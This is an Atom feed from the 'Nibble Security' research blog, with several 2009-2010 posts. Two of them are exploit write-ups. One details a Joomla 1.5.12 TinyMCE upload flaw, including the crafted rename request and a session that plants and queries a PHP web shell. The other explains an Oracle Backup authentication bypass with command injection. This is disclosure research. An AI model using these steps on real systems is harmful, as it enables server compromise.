<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;D08MQ3g4fyp7ImA9WxBUGUs.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254</id><updated>2010-03-07T04:44:42.637-08:00</updated><title>Nibble Security</title><subtitle type="html">"I've forgotten your password, could you please remind me?"</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://blog.nibblesec.org/" /><link rel="hub" href="http://pubsubhubbub.appspot.com/" /><author><name>Claudio Criscione</name><uri>http://www.blogger.com/profile/12202628660778574382</uri><email>noreply@blogger.com</email></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>18</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/NibbleSecurity" /><feedburner:info uri="nibblesecurity" /><entry gd:etag="W/&quot;A08DSHY6cSp7ImA9WxBXF0g.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-2159313694873429438</id><published>2010-01-28T07:48:00.000-08:00</published><updated>2010-01-29T02:11:19.819-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-29T02:11:19.819-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ikki" /><category scheme="http://www.blogger.com/atom/ns#" term="hacking" /><title>Modern magicians</title><content type="html">&lt;span style="font-style:italic;"&gt;Recently, I have been asked to write a non-tech article about pentesting and vulnerability research. As it might be interesting to some readers, I decided to share a few fragments here.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;"&lt;span style="font-weight:bold;"&gt;Any sufficiently advanced technology is indistinguishable from magic&lt;/span&gt;" &lt;br /&gt;Arthur C. Clarke&lt;/blockquote&gt;&lt;br /&gt;Since my early days with computers, I have always cited this Clarke's Law to people astonished by technology artifacts. These days, I am still using the same quote while explaining my job as a pentester to non-technical persons. Beyond the shadow of doubt, security testing is far away from magic being a complex technology-based process. It requires a proper mix of scientific know-how, creativity and expertise on cutting-edge technologies. Staying on top of the latest in vulnerabilities and computer attacks requires continual study, in-depth research, as well as continual discussions and feedback with fellow security professionals.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;"&lt;span style="font-weight:bold;"&gt;0days are a device to prove that a client is unready to handle the unknown&lt;/span&gt;" &lt;br /&gt;Pete Herzog&lt;/blockquote&gt;&lt;br /&gt;Understanding incoming threats or even discovering new vulnerabilities gives a crucial advantage over potential aggressors. It allows system owners to protect their installations in spite of the public spread of critical flaws. In the long term, it also provides important insights which are useful to design more secure technologies for the future. As 0days are a product of an intensive research work, vulnerability research activities are essential for pentesting.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;"&lt;span style="font-weight:bold;"&gt;I’ve always said that hacking is not about skill set. It is mostly about dedication, patience and a lot of motivation&lt;/span&gt;" &lt;br /&gt;Pdp, GNUCITIZEN&lt;/blockquote&gt;&lt;br /&gt;Hacking is about skills, dedication, patience, passion and creativity. Properly mixing these elements makes possible to experiment with computers (and not only!). During a pentest, trying to understand how systems work and using them in an unconventional way is the key to circumvent protections and exploit vulnerabilities. After all, security testing is just about mastering technology and doing magic tricks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-2159313694873429438?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/2159313694873429438/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=2159313694873429438" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/2159313694873429438?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/2159313694873429438?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/NibbleSecurity/~3/GSclxkTCkcQ/modern-magicians.html" title="Modern magicians" /><author><name>Luca Carettoni</name><uri>http://www.blogger.com/profile/09957564681262364569</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="16533444524732394527" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.nibblesec.org/2010/01/modern-magicians.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkADQHg-eyp7ImA9WxNaEEw.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-202809014494884356</id><published>2009-11-23T13:11:00.001-08:00</published><updated>2009-11-23T13:12:51.653-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-23T13:12:51.653-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="virtualization" /><category scheme="http://www.blogger.com/atom/ns#" term="vasto" /><category scheme="http://www.blogger.com/atom/ns#" term="confidence" /><category scheme="http://www.blogger.com/atom/ns#" term="blackfire" /><title>[Confidence0902] The Glass Cage - Virtualization Security</title><content type="html">My trip in Poland has been very interesting: I've met a lot of people, got back in touch with Ikki and got some weird flu which taught me that giving a presentation when you've got high fever might not be the brightest idea.&lt;br /&gt;This is presentation I gave at Confidence 0902, with an overview on various attack paths against virtualization technologies. One of the most interesting things, I think, is the mitm to remote code execution attack against Virtual Infrastructure Client. I've also announced VASTO, a project we're working on at &lt;a href="http://www.securenetwork.it"&gt;Secure Network&lt;/A&gt;.&lt;br /&gt;Any comment is warmly welcome, but please if you were at confidence do not ask me how many coffee I had before the presentation (10 people already asked).&lt;div style="width:425px;text-align:left" id="__ss_2568054"&gt;&lt;a style="font:14px Helvetica,Arial,Sans-serif;display:block;margin:12px 0 3px 0;text-decoration:underline;" href="http://www.slideshare.net/blackfire/confidence0902-the-glass-cage-virtualization-security" title="[Confidence0902] The Glass Cage - Virtualization Security"&gt;[Confidence0902] The Glass Cage - Virtualization Security&lt;/a&gt;&lt;object style="margin:0px" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=confidence2009-virtualizationsecurity-091123144140-phpapp01&amp;stripped_title=confidence0902-the-glass-cage-virtualization-security" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=confidence2009-virtualizationsecurity-091123144140-phpapp01&amp;stripped_title=confidence0902-the-glass-cage-virtualization-security" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;"&gt;View more &lt;a style="text-decoration:underline;" href="http://www.slideshare.net/"&gt;documents&lt;/a&gt; from &lt;a style="text-decoration:underline;" href="http://www.slideshare.net/blackfire"&gt;Claudio Criscione&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-202809014494884356?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/202809014494884356/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=202809014494884356" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/202809014494884356?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/202809014494884356?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/NibbleSecurity/~3/Wv4EuZYnVhQ/confidence0902-glass-cage.html" title="[Confidence0902] The Glass Cage - Virtualization Security" /><author><name>Claudio Criscione</name><uri>http://www.blogger.com/profile/12202628660778574382</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="02490522152931367543" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.nibblesec.org/2009/11/confidence0902-glass-cage.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Dk4HQXw-eip7ImA9WxNUFU4.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-514673017233384309</id><published>2009-11-06T17:20:00.000-08:00</published><updated>2009-11-06T11:15:30.252-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-06T11:15:30.252-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="forensics" /><category scheme="http://www.blogger.com/atom/ns#" term="virtualization" /><category scheme="http://www.blogger.com/atom/ns#" term="blackfire" /><title>Virtual Appliances forensic - Part1</title><content type="html">In the last months I've been most busy exploring virtualization security issues, which anyway I'm going to present at &lt;a href="http://200902.confidence.org.pl/"&gt;CONFidence&lt;/a&gt; and &lt;a href="http://itunderground.org/"&gt;IT Underground Warsaw&lt;/a&gt; in a couple of weeks. However, I wanted to share with you an interesting piece of information I've uncovered while exploring some common virtual appliances.&lt;br /&gt;&lt;br /&gt;As you surely know, it's really, really hard to make sure that a file is gone from your file system. You have to remove every reference, every tiny bit of information, or it might be uncovered: data structures, actual data left on the disk, backups of the data structures and so on. File System forensics is concerned with precisely this matter, and forensic software are capable of doing wonders when it comes to recovering deleted that from disks.&lt;br /&gt;&lt;br /&gt;Well, the same is true for virtual appliances. While some vendors might decide that it's worth cleaning up and shrinking the disk before shipping &lt;a href="http://en.wikipedia.org/wiki/Virtual_appliance"&gt;virtual appliances&lt;/a&gt;, most will not. As a result, you can find gold inside those disks: setup scripts, configuration and installation stuff and all sort of "backend knowledge". This is quite hard to extract from actual machines, which are often disk-imaged and quite hard to reach with traditional tools (some are missing cd roms, for instance, and vendors do not really like you opening up their boxes). However, with virtual appliances it's really really easy to do so.&lt;br /&gt;&lt;br /&gt;An example? VMware Studio virtual appliance, the virtual appliance which should be used to build other virtual appliances, has got references of the internal deb repository used to install the - custom - VMware Studio software on it, and traces of the actual debian packages as well. &lt;br /&gt;&lt;br /&gt;More data on VA security in the near future, likely after my talk!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-514673017233384309?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/514673017233384309/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=514673017233384309" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/514673017233384309?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/514673017233384309?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/NibbleSecurity/~3/BF43obFxOxc/virtual-appliances-forensic-part1.html" title="Virtual Appliances forensic - Part1" /><author><name>Claudio Criscione</name><uri>http://www.blogger.com/profile/12202628660778574382</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="02490522152931367543" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.nibblesec.org/2009/05/virtual-appliances-forensic-part1.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEAER385eip7ImA9WxBXF0g.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-4273683822739111609</id><published>2009-11-01T08:51:00.000-08:00</published><updated>2010-01-29T01:18:26.122-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-29T01:18:26.122-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ikki" /><category scheme="http://www.blogger.com/atom/ns#" term="hpp" /><title>HPP @SEaCURE.it</title><content type="html">Back from a short trip to &lt;a href="http://www.seacure.it/archive/2009/schedule.htm"&gt;SEaCURE.it&lt;/a&gt;, the first international security conference ever held in Italy. Together with &lt;a href="http://blog.mindedsecurity.com/"&gt;Stefano@Minded&lt;/a&gt;, I gave a presentation on HTTP Parameter Pollution (HPP). &lt;br /&gt;&lt;br /&gt;Cutting the crap, we have added a few slides regarding possible detection techniques, information leakage in Python via HPP vectors, PayPal NVP API abuse and a theoretical bypass of anti tampering HMAC.&lt;br /&gt;&lt;br /&gt;&lt;img style="visibility:hidden;width:0px;height:0px;" border=0 width=0 height=0 src="http://counters.gigya.com/wildfire/IMP/CXNID=2000002.0NXC/bT*xJmx*PTEyNTY5NDE*NzI3NDYmcHQ9MTI1Njk*MTQ3Njc3OSZwPTEwMTkxJmQ9c3NfZW1iZWQmZz*yJm89YmZkMGM3YTliNmQ2NGU*ZDkyZmE5ODI4ZmUzMTE*MGUmb2Y9MA==.gif" /&gt;&lt;div style="width:425px;text-align:left" id="__ss_2387132"&gt;&lt;a style="font:14px Helvetica,Arial,Sans-serif;display:block;margin:12px 0 3px 0;text-decoration:underline;" href="http://www.slideshare.net/ikkisoft/http-parameter-pollution-hpp-seacureit-presentation-by-luca-carettoni-and-stefano-di-paola" title="HTTP Parameter Pollution (HPP) - SEaCURE.it edition"&gt;HTTP Parameter Pollution (HPP) - SEaCURE.it edition&lt;/a&gt;&lt;object style="margin:0px" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=hppcarettonidipaolav0-3-091030171012-phpapp02&amp;stripped_title=http-parameter-pollution-hpp-seacureit-presentation-by-luca-carettoni-and-stefano-di-paola" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=hppcarettonidipaolav0-3-091030171012-phpapp02&amp;stripped_title=http-parameter-pollution-hpp-seacureit-presentation-by-luca-carettoni-and-stefano-di-paola" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;What else?&lt;br /&gt;Our interview, recorded during &lt;a href="http://www.owasp.org/index.php/OWASP_AppSec_Europe_2009_-_Poland"&gt;OWASP AppSec EU 2009&lt;/a&gt;, is finally online. Check the "&lt;a href="http://tinyurl.com/owasp46"&gt;OWASP Podcast 46, interview with Luca Carettoni &amp; Stefano Di Paola (HTTP Parameter Pollution)&lt;/a&gt;" &lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;Ikki&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-4273683822739111609?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/4273683822739111609/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=4273683822739111609" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/4273683822739111609?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/4273683822739111609?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/NibbleSecurity/~3/FzB7-axzwCY/hpp-seacureit.html" title="HPP @SEaCURE.it" /><author><name>Luca Carettoni</name><uri>http://www.blogger.com/profile/09957564681262364569</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="16533444524732394527" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.nibblesec.org/2009/11/hpp-seacureit.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkYHR3oyfip7ImA9WxNWGUU.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-3893780502606221382</id><published>2009-10-19T04:10:00.000-07:00</published><updated>2009-10-19T14:35:36.496-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-19T14:35:36.496-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="joomla" /><category scheme="http://www.blogger.com/atom/ns#" term="daath" /><category scheme="http://www.blogger.com/atom/ns#" term="exploit" /><title>Just press Exploit!</title><content type="html">Surfing the web I came across &lt;a href="http://www.coresecurity.com/content/joomla-1-5-12-remote-code-execution-exploit-9"&gt;this&lt;/a&gt; Core Impact update, and I told myself that I wanted a Joomla-RCE-exploit-copy, too! So, as detailed &lt;a href="http://www.milw0rm.com/exploits/9296"&gt;here&lt;/a&gt;, an arbitrary file uploading vulnerability affects TinyMCE 1.41.6. As stated in the advisory, the word &lt;span style="font-style: italic;"&gt;arbitrary&lt;/span&gt; refers to files whose extensions are  not listed in &lt;span style="font-family:Courier New;"&gt;$tinybrowser['prohibited']&lt;/span&gt; array in &lt;span style="font-family:Courier New;"&gt;config_tinybrowser.php&lt;/span&gt;  :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family:Courier New;"&gt;// Prohibited file extensions&lt;br /&gt;$tinybrowser['prohibited'] =  array('php','php3','php4','php5','phtml','asp','aspx','ascx',&lt;br /&gt;'jsp', 'cfm','cfc','pl','bat','exe','dll','reg','cgi','sh',&lt;br /&gt;'py','asa','asax','config','com','inc');&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;This means that we can't directly upload a dot-php script on the remote host. However, I noticed a delicious "rename" option that only permits to rename files  preserving their original extension. Thanks to my  trusty Burp Proxy I sniffed some HTTP requests during file renaming and here you are an example. Let's have a look :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family:Courier New;"&gt;&lt;br /&gt;POST /joomla/.../edit.php?type=image&amp;amp;folder=aaa%2F HTTP/1.1&lt;br /&gt;Host: 192.168.1.5&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;Content-Length: 132&lt;br /&gt;&lt;br /&gt;actionfile%5B0%5D=&lt;span style="font-weight: bold;"&gt;AAA.png&lt;/span&gt;&amp;amp;renameext%5B0%5D=&lt;span style="font-weight: bold;"&gt;png&lt;/span&gt;&amp;amp;&lt;br /&gt;renamefile%5B0%5D=&lt;span style="font-weight: bold;"&gt;BBB.&lt;/span&gt;&amp;amp;action=rename&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Ok, you are likely able to spot the problem. Attacker can manipulate the &lt;span style="font-family:Courier New;"&gt;renameext[0]&lt;/span&gt; parameter resulting in an arbitrary file renaming. Just rename your &lt;span style="font-family:Courier New;"&gt;AAA.png&lt;/span&gt; in &lt;span style="font-family:Courier New;"&gt;AAA.php&lt;/span&gt; and get remote access! The next step was to automatically upload files via &lt;span style="font-family:Courier New;"&gt;upload_file.php&lt;/span&gt;. The problem here is that the script implements a very rudimental mechanism to prevent direct file uploading. In &lt;span style="font-family:Courier New;"&gt;upload_file.php&lt;/span&gt;, we can find this piece of code :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family:Courier New;"&gt;&lt;br /&gt;// Check hash is correct (workaround for&lt;br /&gt;// Flash session bug, to stop external form posting)&lt;br /&gt;&lt;br /&gt;if($_GET['obfuscate'] !=&lt;br /&gt;md5($_SERVER['DOCUMENT_ROOT'].$tinybrowser['obfuscate'])) {&lt;br /&gt;echo 'Error!'; exit;&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The amazing &lt;span style="font-style: italic;"&gt;token&lt;/span&gt; is built hashing the web root path name and the &lt;span style="font-family:Courier New;"&gt;$tinybrowser['obfuscate']&lt;/span&gt; variable's value (set to &lt;span style="font-style: italic;"&gt;s0merand0mjunk!!!111&lt;/span&gt; in &lt;span style="font-family:Courier New;"&gt;config_tinybrowser.php&lt;/span&gt;). I used &lt;a href="http://seclists.org/fulldisclosure/2009/Jul/0373.html"&gt;this&lt;/a&gt; additional vulnerability to get the path name. Obviously, should error messages be switched off, you would use the flash form to upload your images! Ok, that's all, &lt;a href="http://www.ikkisoft.com/stuff/pwnoomla.txt"&gt;here&lt;/a&gt; is the exploit and here is an exploitation session :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;&lt;br /&gt;daath@shaytan:~$ php pwnoomla.php localhost /joomla&lt;br /&gt;&lt;br /&gt;[-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]&lt;br /&gt;&lt;br /&gt;[#] Attacking localhost:80/joomla/&lt;br /&gt;[+] Web root pathname is : /var/www/&lt;br /&gt;[+] Magic token is a8de65e217ed779dbda80eb04502a2da&lt;br /&gt;[#] Creating remote directory ... DONE&lt;br /&gt;[#] Uploading image ... DONE&lt;br /&gt;[#] Renaming image's extension (takes a while) ... PWNED!&lt;br /&gt;[+] Here is the php shell : /joomla/images/stories/i208661849/shell.php&lt;br /&gt;&lt;br /&gt;daath@shaytan:~$ echo -e "GET /joomla/images/stories/i208661849/shell.php?cmd=ls%20-al%20shell.php HTTP/1.0\n\n" | nc localhost 80&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Mon, 28 Sep 2009 10:39:43 GMT&lt;br /&gt;Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch&lt;br /&gt;X-Powered-By: PHP/5.2.6-2ubuntu4.3&lt;br /&gt;Vary: Accept-Encoding&lt;br /&gt;Connection: close&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;-rw-r--r-- 1 www-data www-data 54 Sep 28 12:39 shell.php&lt;br /&gt;daath@shaytan:~$&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Have phun,&lt;br /&gt;/daath&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-3893780502606221382?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/3893780502606221382/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=3893780502606221382" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/3893780502606221382?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/3893780502606221382?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/NibbleSecurity/~3/jY3qJKAUH04/just-press-exploit.html" title="Just press Exploit!" /><author><name>Luca De Fulgentis</name><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="14591553034726851241" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://blog.nibblesec.org/2009/09/just-press-exploit.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEEGQ3o_eSp7ImA9WxBXF0g.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-3416084475748372185</id><published>2009-09-14T05:56:00.000-07:00</published><updated>2010-01-29T01:17:02.441-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-29T01:17:02.441-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ikki" /><category scheme="http://www.blogger.com/atom/ns#" term="exploit" /><category scheme="http://www.blogger.com/atom/ns#" term="oracle" /><title>One-Day Knowledge</title><content type="html">In August 2009, ZDI discloses a few details regarding a couple of interesting vulnerabilities (&lt;a href="http://www.zerodayinitiative.com/advisories/ZDI-09-058/"&gt;ZDI-09-058&lt;/a&gt;, &lt;a href="http://www.zerodayinitiative.com/advisories/ZDI-09-059/"&gt;ZDI-09-059&lt;/a&gt;) in Oracle Backup Admin server. I’ve seen several installations of this product, mainly used in corporations. Since I was quite interested in such flaws, I did a bit of research and I’ve published an exploit (&lt;a href="http://www.milw0rm.com/exploits/9652"&gt;osb10.3_poc.sh&lt;/a&gt;). This PoC exploits two separate vulnerabilities: a smart authentication bypass and a trivial command injection, resulting in arbitrary command execution.&lt;br /&gt;&lt;br /&gt;You may find interesting how the bypass works. It is a neat piece of hacking, in my humble opinion. &lt;br /&gt;To have a successful login, both following functions should return "true" (&lt;span style="font-style: italic;"&gt;login.php&lt;/span&gt;, #75)&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;if (validate_login($username,$passwd) &amp;amp;&amp;amp; authenticate()){&lt;br /&gt;      […]&lt;br /&gt;}&lt;/blockquote&gt;The first one (&lt;span style="font-style: italic;"&gt;common.php&lt;/span&gt;, #262) verifies username/password size and format.&lt;br /&gt;As you can see, it accepts a username containing &lt;span style="font-weight: bold;"&gt;a-zA-Z0-9._-&lt;/span&gt; chars only.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt; function validate_login($username, $password)&lt;br /&gt;  {&lt;br /&gt;  global $status_msg;&lt;br /&gt;&lt;br /&gt;  if (strlen($username) &gt; 128 || preg_match("/[^a-zA-Z0-9._-]/", trim($username)))&lt;br /&gt;    {&lt;br /&gt;    $status_msg[] = "Error: login failed";&lt;br /&gt;    return false;&lt;br /&gt;    }&lt;br /&gt;  if (strlen($password) &gt; 16)&lt;br /&gt;    {&lt;br /&gt;    $status_msg[] = "Error: login failed";&lt;br /&gt;    return false;&lt;br /&gt;    }&lt;br /&gt;  return true;&lt;br /&gt;  }&lt;/blockquote&gt;On the other hand, the second function executes a command line tool and checks for error messages. Since Oracle Backup server command line tools require authentication in order to be successfully executed, the developers decided to use this application behavior in order to check whether the user has got a valid session. &lt;span style="font-style: italic;"&gt;No comment, please!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;    // Check for a failed login.&lt;br /&gt;  if (strstr($msg[0], " login incorrect") ||&lt;br /&gt;      strstr($msg[0], "obtool:") ||&lt;br /&gt;      strstr($msg[0], "Obtool:") ||&lt;br /&gt;      strstr($msg[0], "Error:")  ||&lt;br /&gt;      strstr($msg[0], "sh:"))&lt;br /&gt;       […]&lt;/blockquote&gt;And here a question: “&lt;span style="font-style:italic;"&gt;Can we tamper a valid username, according to the specified format, in order to properly execute the binary without triggering errors?&lt;/span&gt;” Sure, we do. Check the exploit and find the answer!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/732257695511948254-3416084475748372185?l=blog.nibblesec.org' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.nibblesec.org/feeds/3416084475748372185/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=732257695511948254&amp;postID=3416084475748372185" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/3416084475748372185?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/732257695511948254/posts/default/3416084475748372185?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/NibbleSecurity/~3/bMmTg5CPNuo/one-day-knowledge.html" title="One-Day Knowledge" /><author><name>Luca Carettoni</name><uri>http://www.blogger.com/profile/09957564681262364569</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="16533444524732394527" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://blog.nibblesec.org/2009/09/one-day-knowledge.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0INRnk9eCp7ImA9WxJbEks.&quot;"><id>tag:blogger.com,1999:blog-732257695511948254.post-4402203552008598830</id><published>2009-07-22T02:47:00.000-07:00</published><updated>2009-07-22T05:26:37.760-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-07-22T05:26:37.760-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ikki" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="owasp" /><title>XSS flaws are boring!</title><content type="html">Cross-Site Scripting flaws are quite unexciting from the technical point of view. Don't you think?&lt;br /&gt;&lt;br /&gt;Most of the time, it is not challenging to look for XSS vulnerabilities since lot of applications do not provide input validation at all against this specific attack. In addition, the application entry points are so copious that it is like to shoot in a crowded square (well, never tried).&lt;br /&gt;&lt;br /&gt;However, they still exist and we still have to report them.&lt;br /&gt;We will probably all agree about the dangerous effects of such client side attack. We have seen several real life threats (e.g. &lt;a href="http://www.theregister.co.uk/2009/03/26/critical_path_webmail_vuln"&gt;CriticalPath Vulnerability&lt;/a&gt;, &lt;a href="http://www.theregister.co.uk/2009/04/13/weekend_twitter_worm_attacks/"&gt;Twitter Worm Attack, &lt;/a&gt;&lt;a href="http://blogs.zdnet.com/security/?p=3514"&gt;StrongWebmail&lt;/a&gt;) as well as we know efficient (&lt;span style="font-style: italic;"&gt;sufficient?&lt;/span&gt;) protection mechanisms (e.g. &lt;a href="http://noscript.net/"&gt;NoScript&lt;/a&gt;, &lt;a 